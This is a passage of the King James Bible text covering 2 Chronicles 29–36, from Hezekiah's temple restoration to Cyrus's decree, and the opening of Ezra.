it, and brought out all the uncleanness that they +found in the temple of the LORD into the court of the house of the +LORD. And the Levites took it, to carry it out abroad into the brook +Kidron. + +29:17 Now they began on the first day of the first month to sanctify, +and on the eighth day of the month came they to the porch of the LORD: +so they sanctified the house of the LORD in eight days; and in the +sixteenth day of the first month they made an end. + +29:18 Then they went in to Hezekiah the king, and said, We have +cleansed all the house of the LORD, and the altar of burnt offering, +with all the vessels thereof, and the shewbread table, with all the +vessels thereof. + +29:19 Moreover all the vessels, which king Ahaz in his reign did cast +away in his transgression, have we prepared and sanctified, and, +behold, they are before the altar of the LORD. + +29:20 Then Hezekiah the king rose early, and gathered the rulers of +the city, and went up to the house of the LORD. + +29:21 And they brought seven bullocks, and seven rams, and seven +lambs, and seven he goats, for a sin offering for the kingdom, and for +the sanctuary, and for Judah. And he commanded the priests the sons of +Aaron to offer them on the altar of the LORD. + +29:22 So they killed the bullocks, and the priests received the blood, +and sprinkled it on the altar: likewise, when they had killed the +rams, they sprinkled the blood upon the altar: they killed also the +lambs, and they sprinkled the blood upon the altar. + +29:23 And they brought forth the he goats for the sin offering before +the king and the congregation; and they laid their hands upon them: +29:24 And the priests killed them, and they made reconciliation with +their blood upon the altar, to make an atonement for all Israel: for +the king commanded that the burnt offering and the sin offering should +be made for all Israel. + +29:25 And he set the Levites in the house of the LORD with cymbals, +with psalteries, and with harps, according to the commandment of +David, and of Gad the king's seer, and Nathan the prophet: for so was +the commandment of the LORD by his prophets. + +29:26 And the Levites stood with the instruments of David, and the +priests with the trumpets. + +29:27 And Hezekiah commanded to offer the burnt offering upon the +altar. + +And when the burnt offering began, the song of the LORD began also +with the trumpets, and with the instruments ordained by David king of +Israel. + +29:28 And all the congregation worshipped, and the singers sang, and +the trumpeters sounded: and all this continued until the burnt +offering was finished. + +29:29 And when they had made an end of offering, the king and all that +were present with him bowed themselves, and worshipped. + +29:30 Moreover Hezekiah the king and the princes commanded the Levites +to sing praise unto the LORD with the words of David, and of Asaph the +seer. And they sang praises with gladness, and they bowed their heads +and worshipped. + +29:31 Then Hezekiah answered and said, Now ye have consecrated +yourselves unto the LORD, come near and bring sacrifices and thank +offerings into the house of the LORD. And the congregation brought in +sacrifices and thank offerings; and as many as were of a free heart +burnt offerings. + +29:32 And the number of the burnt offerings, which the congregation +brought, was threescore and ten bullocks, an hundred rams, and two +hundred lambs: all these were for a burnt offering to the LORD. + +29:33 And the consecrated things were six hundred oxen and three +thousand sheep. + +29:34 But the priests were too few, so that they could not flay all +the burnt offerings: wherefore their brethren the Levites did help +them, till the work was ended, and until the other priests had +sanctified themselves: for the Levites were more upright in heart to +sanctify themselves than the priests. + +29:35 And also the burnt offerings were in abundance, with the fat of +the peace offerings, and the drink offerings for every burnt offering. +So the service of the house of the LORD was set in order. + +29:36 And Hezekiah rejoiced, and all the people, that God had prepared +the people: for the thing was done suddenly. + +30:1 And Hezekiah sent to all Israel and Judah, and wrote letters also +to Ephraim and Manasseh, that they should come to the house of the +LORD at Jerusalem, to keep the passover unto the LORD God of Israel. + +30:2 For the king had taken counsel, and his princes, and all the +congregation in Jerusalem, to keep the passover in the second month. + +30:3 For they could not keep it at that time, because the priests had +not sanctified themselves sufficiently, neither had the people +gathered themselves together to Jerusalem. + +30:4 And the thing pleased the king and all the congregation. + +30:5 So they established a decree to make proclamation throughout all +Israel, from Beersheba even to Dan, that they should come to keep the +passover unto the LORD God of Israel at Jerusalem: for they had not +done it of a long time in such sort as it was written. + +30:6 So the posts went with the letters from the king and his princes +throughout all Israel and Judah, and according to the commandment of +the king, saying, Ye children of Israel, turn again unto the LORD God +of Abraham, Isaac, and Israel, and he will return to the remnant of +you, that are escaped out of the hand of the kings of Assyria. + +30:7 And be not ye like your fathers, and like your brethren, which +trespassed against the LORD God of their fathers, who therefore gave +them up to desolation, as ye see. + +30:8 Now be ye not stiffnecked, as your fathers were, but yield +yourselves unto the LORD, and enter into his sanctuary, which he hath +sanctified for ever: and serve the LORD your God, that the fierceness +of his wrath may turn away from you. + +30:9 For if ye turn again unto the LORD, your brethren and your +children shall find compassion before them that lead them captive, so +that they shall come again into this land: for the LORD your God is +gracious and merciful, and will not turn away his face from you, if ye +return unto him. + +30:10 So the posts passed from city to city through the country of +Ephraim and Manasseh even unto Zebulun: but they laughed them to +scorn, and mocked them. + +30:11 Nevertheless divers of Asher and Manasseh and of Zebulun humbled +themselves, and came to Jerusalem. + +30:12 Also in Judah the hand of God was to give them one heart to do +the commandment of the king and of the princes, by the word of the +LORD. + +30:13 And there assembled at Jerusalem much people to keep the feast +of unleavened bread in the second month, a very great congregation. + +30:14 And they arose and took away the altars that were in Jerusalem, +and all the altars for incense took they away, and cast them into the +brook Kidron. + +30:15 Then they killed the passover on the fourteenth day of the +second month: and the priests and the Levites were ashamed, and +sanctified themselves, and brought in the burnt offerings into the +house of the LORD. + +30:16 And they stood in their place after their manner, according to +the law of Moses the man of God: the priests sprinkled the blood, +which they received of the hand of the Levites. + +30:17 For there were many in the congregation that were not +sanctified: therefore the Levites had the charge of the killing of the +passovers for every one that was not clean, to sanctify them unto the +LORD. + +30:18 For a multitude of the people, even many of Ephraim, and +Manasseh, Issachar, and Zebulun, had not cleansed themselves, yet did +they eat the passover otherwise than it was written. But Hezekiah +prayed for them, saying, The good LORD pardon every one 30:19 That +prepareth his heart to seek God, the LORD God of his fathers, though +he be not cleansed according to the purification of the sanctuary. + +30:20 And the LORD hearkened to Hezekiah, and healed the people. + +30:21 And the children of Israel that were present at Jerusalem kept +the feast of unleavened bread seven days with great gladness: and the +Levites and the priests praised the LORD day by day, singing with loud +instruments unto the LORD. + +30:22 And Hezekiah spake comfortably unto all the Levites that taught +the good knowledge of the LORD: and they did eat throughout the feast +seven days, offering peace offerings, and making confession to the +LORD God of their fathers. + +30:23 And the whole assembly took counsel to keep other seven days: +and they kept other seven days with gladness. + +30:24 For Hezekiah king of Judah did give to the congregation a +thousand bullocks and seven thousand sheep; and the princes gave to +the congregation a thousand bullocks and ten thousand sheep: and a +great number of priests sanctified themselves. + +30:25 And all the congregation of Judah, with the priests and the +Levites, and all the congregation that came out of Israel, and the +strangers that came out of the land of Israel, and that dwelt in +Judah, rejoiced. + +30:26 So there was great joy in Jerusalem: for since the time of +Solomon the son of David king of Israel there was not the like in +Jerusalem. + +30:27 Then the priests the Levites arose and blessed the people: and +their voice was heard, and their prayer came up to his holy dwelling +place, even unto heaven. + +31:1 Now when all this was finished, all Israel that were present went +out to the cities of Judah, and brake the images in pieces, and cut +down the groves, and threw down the high places and the altars out of +all Judah and Benjamin, in Ephraim also and Manasseh, until they had +utterly destroyed them all. Then all the children of Israel returned, +every man to his possession, into their own cities. + +31:2 And Hezekiah appointed the courses of the priests and the Levites +after their courses, every man according to his service, the priests +and Levites for burnt offerings and for peace offerings, to minister, +and to give thanks, and to praise in the gates of the tents of the +LORD. + +31:3 He appointed also the king's portion of his substance for the +burnt offerings, to wit, for the morning and evening burnt offerings, +and the burnt offerings for the sabbaths, and for the new moons, and +for the set feasts, as it is written in the law of the LORD. + +31:4 Moreover he commanded the people that dwelt in Jerusalem to give +the portion of the priests and the Levites, that they might be +encouraged in the law of the LORD. + +31:5 And as soon as the commandment came abroad, the children of +Israel brought in abundance the firstfruits of corn, wine, and oil, +and honey, and of all the increase of the field; and the tithe of all +things brought they in abundantly. + +31:6 And concerning the children of Israel and Judah, that dwelt in +the cities of Judah, they also brought in the tithe of oxen and sheep, +and the tithe of holy things which were consecrated unto the LORD +their God, and laid them by heaps. + +31:7 In the third month they began to lay the foundation of the heaps, +and finished them in the seventh month. + +31:8 And when Hezekiah and the princes came and saw the heaps, they +blessed the LORD, and his people Israel. + +31:9 Then Hezekiah questioned with the priests and the Levites +concerning the heaps. + +31:10 And Azariah the chief priest of the house of Zadok answered him, +and said, Since the people began to bring the offerings into the house +of the LORD, we have had enough to eat, and have left plenty: for the +LORD hath blessed his people; and that which is left is this great +store. + +31:11 Then Hezekiah commanded to prepare chambers in the house of the +LORD; and they prepared them, 31:12 And brought in the offerings and +the tithes and the dedicated things faithfully: over which Cononiah +the Levite was ruler, and Shimei his brother was the next. + +31:13 And Jehiel, and Azaziah, and Nahath, and Asahel, and Jerimoth, +and Jozabad, and Eliel, and Ismachiah, and Mahath, and Benaiah, were +overseers under the hand of Cononiah and Shimei his brother, at the +commandment of Hezekiah the king, and Azariah the ruler of the house +of God. + +31:14 And Kore the son of Imnah the Levite, the porter toward the +east, was over the freewill offerings of God, to distribute the +oblations of the LORD, and the most holy things. + +31:15 And next him were Eden, and Miniamin, and Jeshua, and Shemaiah, +Amariah, and Shecaniah, in the cities of the priests, in their set +office, to give to their brethren by courses, as well to the great as +to the small: 31:16 Beside their genealogy of males, from three years +old and upward, even unto every one that entereth into the house of +the LORD, his daily portion for their service in their charges +according to their courses; 31:17 Both to the genealogy of the priests +by the house of their fathers, and the Levites from twenty years old +and upward, in their charges by their courses; 31:18 And to the +genealogy of all their little ones, their wives, and their sons, and +their daughters, through all the congregation: for in their set office +they sanctified themselves in holiness: 31:19 Also of the sons of +Aaron the priests, which were in the fields of the suburbs of their +cities, in every several city, the men that were expressed by name, to +give portions to all the males among the priests, and to all that were +reckoned by genealogies among the Levites. + +31:20 And thus did Hezekiah throughout all Judah, and wrought that +which was good and right and truth before the LORD his God. + +31:21 And in every work that he began in the service of the house of +God, and in the law, and in the commandments, to seek his God, he did +it with all his heart, and prospered. + +32:1 After these things, and the establishment thereof, Sennacherib +king of Assyria came, and entered into Judah, and encamped against the +fenced cities, and thought to win them for himself. + +32:2 And when Hezekiah saw that Sennacherib was come, and that he was +purposed to fight against Jerusalem, 32:3 He took counsel with his +princes and his mighty men to stop the waters of the fountains which +were without the city: and they did help him. + +32:4 So there was gathered much people together, who stopped all the +fountains, and the brook that ran through the midst of the land, +saying, Why should the kings of Assyria come, and find much water? +32:5 Also he strengthened himself, and built up all the wall that was +broken, and raised it up to the towers, and another wall without, and +repaired Millo in the city of David, and made darts and shields in +abundance. + +32:6 And he set captains of war over the people, and gathered them +together to him in the street of the gate of the city, and spake +comfortably to them, saying, 32:7 Be strong and courageous, be not +afraid nor dismayed for the king of Assyria, nor for all the multitude +that is with him: for there be more with us than with him: 32:8 With +him is an arm of flesh; but with us is the LORD our God to help us, +and to fight our battles. And the people rested themselves upon the +words of Hezekiah king of Judah. + +32:9 After this did Sennacherib king of Assyria send his servants to +Jerusalem, (but he himself laid siege against Lachish, and all his +power with him,) unto Hezekiah king of Judah, and unto all Judah that +were at Jerusalem, saying, 32:10 Thus saith Sennacherib king of +Assyria, Whereon do ye trust, that ye abide in the siege in Jerusalem? +32:11 Doth not Hezekiah persuade you to give over yourselves to die by +famine and by thirst, saying, The LORD our God shall deliver us out of +the hand of the king of Assyria? 32:12 Hath not the same Hezekiah +taken away his high places and his altars, and commanded Judah and +Jerusalem, saying, Ye shall worship before one altar, and burn incense +upon it? 32:13 Know ye not what I and my fathers have done unto all +the people of other lands? were the gods of the nations of those lands +any ways able to deliver their lands out of mine hand? 32:14 Who was +there among all the gods of those nations that my fathers utterly +destroyed, that could deliver his people out of mine hand, that your +God should be able to deliver you out of mine hand? 32:15 Now +therefore let not Hezekiah deceive you, nor persuade you on this +manner, neither yet believe him: for no god of any nation or kingdom +was able to deliver his people out of mine hand, and out of the hand +of my fathers: how much less shall your God deliver you out of mine +hand? 32:16 And his servants spake yet more against the LORD God, and +against his servant Hezekiah. + +32:17 He wrote also letters to rail on the LORD God of Israel, and to +speak against him, saying, As the gods of the nations of other lands +have not delivered their people out of mine hand, so shall not the God +of Hezekiah deliver his people out of mine hand. + +32:18 Then they cried with a loud voice in the Jews' speech unto the +people of Jerusalem that were on the wall, to affright them, and to +trouble them; that they might take the city. + +32:19 And they spake against the God of Jerusalem, as against the gods +of the people of the earth, which were the work of the hands of man. + +32:20 And for this cause Hezekiah the king, and the prophet Isaiah the +son of Amoz, prayed and cried to heaven. + +32:21 And the LORD sent an angel, which cut off all the mighty men of +valour, and the leaders and captains in the camp of the king of +Assyria. So he returned with shame of face to his own land. And when +he was come into the house of his god, they that came forth of his own +bowels slew him there with the sword. + +32:22 Thus the LORD saved Hezekiah and the inhabitants of Jerusalem +from the hand of Sennacherib the king of Assyria, and from the hand of +all other, and guided them on every side. + +32:23 And many brought gifts unto the LORD to Jerusalem, and presents +to Hezekiah king of Judah: so that he was magnified in the sight of +all nations from thenceforth. + +32:24 In those days Hezekiah was sick to the death, and prayed unto +the LORD: and he spake unto him, and he gave him a sign. + +32:25 But Hezekiah rendered not again according to the benefit done +unto him; for his heart was lifted up: therefore there was wrath upon +him, and upon Judah and Jerusalem. + +32:26 Notwithstanding Hezekiah humbled himself for the pride of his +heart, both he and the inhabitants of Jerusalem, so that the wrath of +the LORD came not upon them in the days of Hezekiah. + +32:27 And Hezekiah had exceeding much riches and honour: and he made +himself treasuries for silver, and for gold, and for precious stones, +and for spices, and for shields, and for all manner of pleasant +jewels; 32:28 Storehouses also for the increase of corn, and wine, and +oil; and stalls for all manner of beasts, and cotes for flocks. + +32:29 Moreover he provided him cities, and possessions of flocks and +herds in abundance: for God had given him substance very much. + +32:30 This same Hezekiah also stopped the upper watercourse of Gihon, +and brought it straight down to the west side of the city of David. +And Hezekiah prospered in all his works. + +32:31 Howbeit in the business of the ambassadors of the princes of +Babylon, who sent unto him to enquire of the wonder that was done in +the land, God left him, to try him, that he might know all that was in +his heart. + +32:32 Now the rest of the acts of Hezekiah, and his goodness, behold, +they are written in the vision of Isaiah the prophet, the son of Amoz, +and in the book of the kings of Judah and Israel. + +32:33 And Hezekiah slept with his fathers, and they buried him in the +chiefest of the sepulchres of the sons of David: and all Judah and the +inhabitants of Jerusalem did him honour at his death. And Manasseh his +son reigned in his stead. + +33:1 Manasseh was twelve years old when he began to reign, and he +reigned fifty and five years in Jerusalem: 33:2 But did that which was +evil in the sight of the LORD, like unto the abominations of the +heathen, whom the LORD had cast out before the children of Israel. + +33:3 For he built again the high places which Hezekiah his father had +broken down, and he reared up altars for Baalim, and made groves, and +worshipped all the host of heaven, and served them. + +33:4 Also he built altars in the house of the LORD, whereof the LORD +had said, In Jerusalem shall my name be for ever. + +33:5 And he built altars for all the host of heaven in the two courts +of the house of the LORD. + +33:6 And he caused his children to pass through the fire in the valley +of the son of Hinnom: also he observed times, and used enchantments, +and used witchcraft, and dealt with a familiar spirit, and with +wizards: he wrought much evil in the sight of the LORD, to provoke him +to anger. + +33:7 And he set a carved image, the idol which he had made, in the +house of God, of which God had said to David and to Solomon his son, +In this house, and in Jerusalem, which I have chosen before all the +tribes of Israel, will I put my name for ever: 33:8 Neither will I any +more remove the foot of Israel from out of the land which I have +appointed for your fathers; so that they will take heed to do all that +I have commanded them, according to the whole law and the statutes and +the ordinances by the hand of Moses. + +33:9 So Manasseh made Judah and the inhabitants of Jerusalem to err, +and to do worse than the heathen, whom the LORD had destroyed before +the children of Israel. + +33:10 And the LORD spake to Manasseh, and to his people: but they +would not hearken. + +33:11 Wherefore the LORD brought upon them the captains of the host of +the king of Assyria, which took Manasseh among the thorns, and bound +him with fetters, and carried him to Babylon. + +33:12 And when he was in affliction, he besought the LORD his God, and +humbled himself greatly before the God of his fathers, 33:13 And +prayed unto him: and he was intreated of him, and heard his +supplication, and brought him again to Jerusalem into his kingdom. +Then Manasseh knew that the LORD he was God. + +33:14 Now after this he built a wall without the city of David, on the +west side of Gihon, in the valley, even to the entering in at the fish +gate, and compassed about Ophel, and raised it up a very great height, +and put captains of war in all the fenced cities of Judah. + +33:15 And he took away the strange gods, and the idol out of the house +of the LORD, and all the altars that he had built in the mount of the +house of the LORD, and in Jerusalem, and cast them out of the city. + +33:16 And he repaired the altar of the LORD, and sacrificed thereon +peace offerings and thank offerings, and commanded Judah to serve the +LORD God of Israel. + +33:17 Nevertheless the people did sacrifice still in the high places, +yet unto the LORD their God only. + +33:18 Now the rest of the acts of Manasseh, and his prayer unto his +God, and the words of the seers that spake to him in the name of the +LORD God of Israel, behold, they are written in the book of the kings +of Israel. + +33:19 His prayer also, and how God was intreated of him, and all his +sins, and his trespass, and the places wherein he built high places, +and set up groves and graven images, before he was humbled: behold, +they are written among the sayings of the seers. + +33:20 So Manasseh slept with his fathers, and they buried him in his +own house: and Amon his son reigned in his stead. + +33:21 Amon was two and twenty years old when he began to reign, and +reigned two years in Jerusalem. + +33:22 But he did that which was evil in the sight of the LORD, as did +Manasseh his father: for Amon sacrificed unto all the carved images +which Manasseh his father had made, and served them; 33:23 And humbled +not himself before the LORD, as Manasseh his father had humbled +himself; but Amon trespassed more and more. + +33:24 And his servants conspired against him, and slew him in his own +house. + +33:25 But the people of the land slew all them that had conspired +against king Amon; and the people of the land made Josiah his son king +in his stead. + +34:1 Josiah was eight years old when he began to reign, and he reigned +in Jerusalem one and thirty years. + +34:2 And he did that which was right in the sight of the LORD, and +walked in the ways of David his father, and declined neither to the +right hand, nor to the left. + +34:3 For in the eighth year of his reign, while he was yet young, he +began to seek after the God of David his father: and in the twelfth +year he began to purge Judah and Jerusalem from the high places, and +the groves, and the carved images, and the molten images. + +34:4 And they brake down the altars of Baalim in his presence; and the +images, that were on high above them, he cut down; and the groves, and +the carved images, and the molten images, he brake in pieces, and made +dust of them, and strowed it upon the graves of them that had +sacrificed unto them. + +34:5 And he burnt the bones of the priests upon their altars, and +cleansed Judah and Jerusalem. + +34:6 And so did he in the cities of Manasseh, and Ephraim, and Simeon, +even unto Naphtali, with their mattocks round about. + +34:7 And when he had broken down the altars and the groves, and had +beaten the graven images into powder, and cut down all the idols +throughout all the land of Israel, he returned to Jerusalem. + +34:8 Now in the eighteenth year of his reign, when he had purged the +land, and the house, he sent Shaphan the son of Azaliah, and Maaseiah +the governor of the city, and Joah the son of Joahaz the recorder, to +repair the house of the LORD his God. + +34:9 And when they came to Hilkiah the high priest, they delivered the +money that was brought into the house of God, which the Levites that +kept the doors had gathered of the hand of Manasseh and Ephraim, and +of all the remnant of Israel, and of all Judah and Benjamin; and they +returned to Jerusalem. + +34:10 And they put it in the hand of the workmen that had the +oversight of the house of the LORD, and they gave it to the workmen +that wrought in the house of the LORD, to repair and amend the house: +34:11 Even to the artificers and builders gave they it, to buy hewn +stone, and timber for couplings, and to floor the houses which the +kings of Judah had destroyed. + +34:12 And the men did the work faithfully: and the overseers of them +were Jahath and Obadiah, the Levites, of the sons of Merari; and +Zechariah and Meshullam, of the sons of the Kohathites, to set it +forward; and other of the Levites, all that could skill of instruments +of musick. + +34:13 Also they were over the bearers of burdens, and were overseers +of all that wrought the work in any manner of service: and of the +Levites there were scribes, and officers, and porters. + +34:14 And when they brought out the money that was brought into the +house of the LORD, Hilkiah the priest found a book of the law of the +LORD given by Moses. + +34:15 And Hilkiah answered and said to Shaphan the scribe, I have +found the book of the law in the house of the LORD. And Hilkiah +delivered the book to Shaphan. + +34:16 And Shaphan carried the book to the king, and brought the king +word back again, saying, All that was committed to thy servants, they +do it. + +34:17 And they have gathered together the money that was found in the +house of the LORD, and have delivered it into the hand of the +overseers, and to the hand of the workmen. + +34:18 Then Shaphan the scribe told the king, saying, Hilkiah the +priest hath given me a book. And Shaphan read it before the king. + +34:19 And it came to pass, when the king had heard the words of the +law, that he rent his clothes. + +34:20 And the king commanded Hilkiah, and Ahikam the son of Shaphan, +and Abdon the son of Micah, and Shaphan the scribe, and Asaiah a +servant of the king's, saying, 34:21 Go, enquire of the LORD for me, +and for them that are left in Israel and in Judah, concerning the +words of the book that is found: for great is the wrath of the LORD +that is poured out upon us, because our fathers have not kept the word +of the LORD, to do after all that is written in this book. + +34:22 And Hilkiah, and they that the king had appointed, went to +Huldah the prophetess, the wife of Shallum the son of Tikvath, the son +of Hasrah, keeper of the wardrobe; (now she dwelt in Jerusalem in the +college:) and they spake to her to that effect. + +34:23 And she answered them, Thus saith the LORD God of Israel, Tell +ye the man that sent you to me, 34:24 Thus saith the LORD, Behold, I +will bring evil upon this place, and upon the inhabitants thereof, +even all the curses that are written in the book which they have read +before the king of Judah: 34:25 Because they have forsaken me, and +have burned incense unto other gods, that they might provoke me to +anger with all the works of their hands; therefore my wrath shall be +poured out upon this place, and shall not be quenched. + +34:26 And as for the king of Judah, who sent you to enquire of the +LORD, so shall ye say unto him, Thus saith the LORD God of Israel +concerning the words which thou hast heard; 34:27 Because thine heart +was tender, and thou didst humble thyself before God, when thou +heardest his words against this place, and against the inhabitants +thereof, and humbledst thyself before me, and didst rend thy clothes, +and weep before me; I have even heard thee also, saith the LORD. + +34:28 Behold, I will gather thee to thy fathers, and thou shalt be +gathered to thy grave in peace, neither shall thine eyes see all the +evil that I will bring upon this place, and upon the inhabitants of +the same. So they brought the king word again. + +34:29 Then the king sent and gathered together all the elders of Judah +and Jerusalem. + +34:30 And the king went up into the house of the LORD, and all the men +of Judah, and the inhabitants of Jerusalem, and the priests, and the +Levites, and all the people, great and small: and he read in their +ears all the words of the book of the covenant that was found in the +house of the LORD. + +34:31 And the king stood in his place, and made a covenant before the +LORD, to walk after the LORD, and to keep his commandments, and his +testimonies, and his statutes, with all his heart, and with all his +soul, to perform the words of the covenant which are written in this +book. + +34:32 And he caused all that were present in Jerusalem and Benjamin to +stand to it. And the inhabitants of Jerusalem did according to the +covenant of God, the God of their fathers. + +34:33 And Josiah took away all the abominations out of all the +countries that pertained to the children of Israel, and made all that +were present in Israel to serve, even to serve the LORD their God. And +all his days they departed not from following the LORD, the God of +their fathers. + +35:1 Moreover Josiah kept a passover unto the LORD in Jerusalem: and +they killed the passover on the fourteenth day of the first month. + +35:2 And he set the priests in their charges, and encouraged them to +the service of the house of the LORD, 35:3 And said unto the Levites +that taught all Israel, which were holy unto the LORD, Put the holy +ark in the house which Solomon the son of David king of Israel did +build; it shall not be a burden upon your shoulders: serve now the +LORD your God, and his people Israel, 35:4 And prepare yourselves by +the houses of your fathers, after your courses, according to the +writing of David king of Israel, and according to the writing of +Solomon his son. + +35:5 And stand in the holy place according to the divisions of the +families of the fathers of your brethren the people, and after the +division of the families of the Levites. + +35:6 So kill the passover, and sanctify yourselves, and prepare your +brethren, that they may do according to the word of the LORD by the +hand of Moses. + +35:7 And Josiah gave to the people, of the flock, lambs and kids, all +for the passover offerings, for all that were present, to the number +of thirty thousand, and three thousand bullocks: these were of the +king's substance. + +35:8 And his princes gave willingly unto the people, to the priests, +and to the Levites: Hilkiah and Zechariah and Jehiel, rulers of the +house of God, gave unto the priests for the passover offerings two +thousand and six hundred small cattle and three hundred oxen. + +35:9 Conaniah also, and Shemaiah and Nethaneel, his brethren, and +Hashabiah and Jeiel and Jozabad, chief of the Levites, gave unto the +Levites for passover offerings five thousand small cattle, and five +hundred oxen. + +35:10 So the service was prepared, and the priests stood in their +place, and the Levites in their courses, according to the king's +commandment. + +35:11 And they killed the passover, and the priests sprinkled the +blood from their hands, and the Levites flayed them. + +35:12 And they removed the burnt offerings, that they might give +according to the divisions of the families of the people, to offer +unto the LORD, as it is written in the book of Moses. And so did they +with the oxen. + +35:13 And they roasted the passover with fire according to the +ordinance: but the other holy offerings sod they in pots, and in +caldrons, and in pans, and divided them speedily among all the people. + +35:14 And afterward they made ready for themselves, and for the +priests: because the priests the sons of Aaron were busied in offering +of burnt offerings and the fat until night; therefore the Levites +prepared for themselves, and for the priests the sons of Aaron. + +35:15 And the singers the sons of Asaph were in their place, according +to the commandment of David, and Asaph, and Heman, and Jeduthun the +king's seer; and the porters waited at every gate; they might not +depart from their service; for their brethren the Levites prepared for +them. + +35:16 So all the service of the LORD was prepared the same day, to +keep the passover, and to offer burnt offerings upon the altar of the +LORD, according to the commandment of king Josiah. + +35:17 And the children of Israel that were present kept the passover +at that time, and the feast of unleavened bread seven days. + +35:18 And there was no passover like to that kept in Israel from the +days of Samuel the prophet; neither did all the kings of Israel keep +such a passover as Josiah kept, and the priests, and the Levites, and +all Judah and Israel that were present, and the inhabitants of +Jerusalem. + +35:19 In the eighteenth year of the reign of Josiah was this passover +kept. + +35:20 After all this, when Josiah had prepared the temple, Necho king +of Egypt came up to fight against Charchemish by Euphrates: and Josiah +went out against him. + +35:21 But he sent ambassadors to him, saying, What have I to do with +thee, thou king of Judah? I come not against thee this day, but +against the house wherewith I have war: for God commanded me to make +haste: forbear thee from meddling with God, who is with me, that he +destroy thee not. + +35:22 Nevertheless Josiah would not turn his face from him, but +disguised himself, that he might fight with him, and hearkened not +unto the words of Necho from the mouth of God, and came to fight in +the valley of Megiddo. + +35:23 And the archers shot at king Josiah; and the king said to his +servants, Have me away; for I am sore wounded. + +35:24 His servants therefore took him out of that chariot, and put him +in the second chariot that he had; and they brought him to Jerusalem, +and he died, and was buried in one of the sepulchres of his fathers. +And all Judah and Jerusalem mourned for Josiah. + +35:25 And Jeremiah lamented for Josiah: and all the singing men and +the singing women spake of Josiah in their lamentations to this day, +and made them an ordinance in Israel: and, behold, they are written in +the lamentations. + +35:26 Now the rest of the acts of Josiah, and his goodness, according +to that which was written in the law of the LORD, 35:27 And his deeds, +first and last, behold, they are written in the book of the kings of +Israel and Judah. + +36:1 Then the people of the land took Jehoahaz the son of Josiah, and +made him king in his father's stead in Jerusalem. + +36:2 Jehoahaz was twenty and three years old when he began to reign, +and he reigned three months in Jerusalem. + +36:3 And the king of Egypt put him down at Jerusalem, and condemned +the land in an hundred talents of silver and a talent of gold. + +36:4 And the king of Egypt made Eliakim his brother king over Judah +and Jerusalem, and turned his name to Jehoiakim. And Necho took +Jehoahaz his brother, and carried him to Egypt. + +36:5 Jehoiakim was twenty and five years old when he began to reign, +and he reigned eleven years in Jerusalem: and he did that which was +evil in the sight of the LORD his God. + +36:6 Against him came up Nebuchadnezzar king of Babylon, and bound him +in fetters, to carry him to Babylon. + +36:7 Nebuchadnezzar also carried of the vessels of the house of the +LORD to Babylon, and put them in his temple at Babylon. + +36:8 Now the rest of the acts of Jehoiakim, and his abominations which +he did, and that which was found in him, behold, they are written in +the book of the kings of Israel and Judah: and Jehoiachin his son +reigned in his stead. + +36:9 Jehoiachin was eight years old when he began to reign, and he +reigned three months and ten days in Jerusalem: and he did that which +was evil in the sight of the LORD. + +36:10 And when the year was expired, king Nebuchadnezzar sent, and +brought him to Babylon, with the goodly vessels of the house of the +LORD, and made Zedekiah his brother king over Judah and Jerusalem. + +36:11 Zedekiah was one and twenty years old when he began to reign, +and reigned eleven years in Jerusalem. + +36:12 And he did that which was evil in the sight of the LORD his God, +and humbled not himself before Jeremiah the prophet speaking from the +mouth of the LORD. + +36:13 And he also rebelled against king Nebuchadnezzar, who had made +him swear by God: but he stiffened his neck, and hardened his heart +from turning unto the LORD God of Israel. + +36:14 Moreover all the chief of the priests, and the people, +transgressed very much after all the abominations of the heathen; and +polluted the house of the LORD which he had hallowed in Jerusalem. + +36:15 And the LORD God of their fathers sent to them by his +messengers, rising up betimes, and sending; because he had compassion +on his people, and on his dwelling place: 36:16 But they mocked the +messengers of God, and despised his words, and misused his prophets, +until the wrath of the LORD arose against his people, till there was +no remedy. + +36:17 Therefore he brought upon them the king of the Chaldees, who +slew their young men with the sword in the house of their sanctuary, +and had no compassion upon young man or maiden, old man, or him that +stooped for age: he gave them all into his hand. + +36:18 And all the vessels of the house of God, great and small, and +the treasures of the house of the LORD, and the treasures of the king, +and of his princes; all these he brought to Babylon. + +36:19 And they burnt the house of God, and brake down the wall of +Jerusalem, and burnt all the palaces thereof with fire, and destroyed +all the goodly vessels thereof. + +36:20 And them that had escaped from the sword carried he away to +Babylon; where they were servants to him and his sons until the reign +of the kingdom of Persia: 36:21 To fulfil the word of the LORD by the +mouth of Jeremiah, until the land had enjoyed her sabbaths: for as +long as she lay desolate she kept sabbath, to fulfil threescore and +ten years. + +36:22 Now in the first year of Cyrus king of Persia, that the word of +the LORD spoken by the mouth of Jeremiah might be accomplished, the +LORD stirred up the spirit of Cyrus king of Persia, that he made a +proclamation throughout all his kingdom, and put it also in writing, +saying, 36:23 Thus saith Cyrus king of Persia, All the kingdoms of the +earth hath the LORD God of heaven given me; and he hath charged me to +build him an house in Jerusalem, which is in Judah. Who is there among +you of all his people? The LORD his God be with him, and let him go up. + + + +Ezra + + +1:1 Now in the first year of Cyrus king of Persia, that the word of +the LORD by the mouth of Jeremiah might be fulfilled, the LORD stirred +up the spirit of Cyrus king of Persia, that he made a proclamation +throughout all his kingdom, and put it also in writing, saying, 1:2 +Thus saith Cyrus king of Persia, The LORD God of heaven hath given me +all the kingdoms of the earth; and he hath charged me to build him an +house at Jerusalem, which is in Judah. + +1:3 Who is there among you of all his people? his God be with him, and +let him go up to Jerusalem, which is in Judah, and build the house of +the LORD God of Israel, (he is the God,) which is in Jerusalem. + +1:4 And whosoever remaineth in any place where he sojourneth, let the +men of his place help him with silver, and with gold, and with goods, +and with beasts, beside the freewill offering for the house of God +that is in Jerusalem. + +1:5 Then rose up the chief of the fathers of Judah and Benjamin, and +the priests, and the Levites, with all them whose spirit God had +raised, to go up to build the house of the LORD which is in Jerusalem. + +1:6 And all they that were about them strengthened their hands with +vessels of silver, with gold, with goods, and with beasts, and with +precious things, beside all that was willingly offered. + +1:7 Also Cyrus the king brought forth the vessels of the house of the +LORD, which Nebuchadnezzar had brought forth out of Jerusalem, and had +put them in the house of his gods; 1:8 Even those did Cyrus king of +Persia bring forth by the hand of Mithredath the treasurer, and +numbered them unto Sheshbazzar, the prince of Judah. + +1:9 And this is the number of them: thirty chargers of gold, a +thousand chargers of silver, nine and twenty knives, 1:10 Thirty +basons of gold, silver basons of a second sort four hundred and ten, +and other vessels a thousand. + +1:11 All the vessels of gold and of silver were five thousand and four +hundred. All these did Sheshbazzar bring up with them of the captivity +that were brought up from Babylon unto Jerusalem. + +2:1 Now these are the children of the province that went up out of the +captivity, of those which had been carried away, whom Nebuchadnezzar +the king of Babylon had carried away unto 